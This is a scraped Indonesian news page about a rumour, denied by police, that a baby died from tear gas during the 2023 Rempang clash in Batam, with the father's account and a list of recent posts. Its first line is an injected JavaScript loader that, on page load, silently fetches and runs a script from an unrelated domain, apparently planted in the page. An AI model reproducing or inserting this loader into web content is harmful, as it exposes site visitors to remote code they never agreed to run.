(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Cerita Ayah Bayi yang Kena Gas Air Mata saat Bentrok di Pulau Rempang


KANALKALIMANTAN.COM, BATAM – Kabar yang menyebut adanya bayi berusia delapan bulan tewas saat bentrok di Pulau Rempang, Batam dipastikan tidak benar atau hoax.

Bayi yang dikabarkan meninggal dunia terkena gas air mata saat bentrokan antara tim terpadu dengan masyarakat Rempang tersebut bernama Algafari.

Herman, ayah kandung Algafari menuturkan, asap gas air mata masuk ke dalam rumahnya melalui jendela kamar yang sedang terbuka. Saat itu, sang anak sedang berada di ayunan.

“Angin mengarah ke jendela rumah. Kebetulan anak saya berada di dalam ayunan. Dia langsung terkena gas air mata,” tutur Herman, Jumat (8/9/2023).

Baca juga: Baliho Prabowo-Gibran Tiba-tiba Muncul di Banjarmasin

Sang istri langsung berteriak mendapati kondisi sang anak setelah terkena gas air mata. Hal ini lantaran Algafari sempat pingsan dan bola matanya memutih. Teriakan itu membuat Herman kaget dan masuk ke dalam rumah.

“Saya kaget awalnya melihat anak saya pingsan dan matanya putih semua. Dia terkena gas air mata di rumah,” ungkap Herman.

Melihat anaknya yang sudah terkapar, Herman membawa anaknya dan meminta pertolongan. Saat keluar rumah, Herman bertemu anggota Brimob dan meminta bantuan.

“Anak saya tolong, anak saya pingsan. Saya bilang begitu. Kemudian dia bawa dan diberikan bantuan oksigen dan dikasih air,” katanya.

Baca juga: Klaim Polisi Gas Air Mata Bentrok Rempang Kena Siswa Tertiup Angin

Tidak lama kemudian korban sadar dan kembali dibawa ke rumah.

“Alhamdulilah. Anak saya masih bisa diselamakan. Kami sudah sangat panik,” katanya.

Kapolresta Barelang Kombes Pol Nugroho Tri Nuryanto membantah isu yang beredar adanya bayi yang tewas saat bentrok di Pulau Rempang. Nugroho menegaskan isu bayi meninggal itu adalah hoax.

“Sudah kita lakukan klarifikasi di Rumah Sakit dan Alhamdulillah bayi tersebut sehat walafiat, yang saat ini sudah dipulangkan ke rumahnya. Terkait beredarnya informasi adanya balita yang meninggal dunia terkena gas air mata itu hoax,” tegasnya.

Baca juga: Gegara Foto Prewedding Pakai Flare Kawasan Gunung Bromo Terbakar

Nugroho menjelaskan, rumah korban dekat dengan lokasi bentrokan. Namun, saat sang bayi terkena gas air mata, jajarannya langsung mengevakuasi korban ke rumah sakit untuk mendapatkan pertolongan.

“Kami mohon maaf atas yang menimpa balita tersebut,” kata Nugroho. (Beritasatu.com/kk)

Editor : kk


Muhammad Andi

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

10 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

11 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

11 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

18 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

19 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.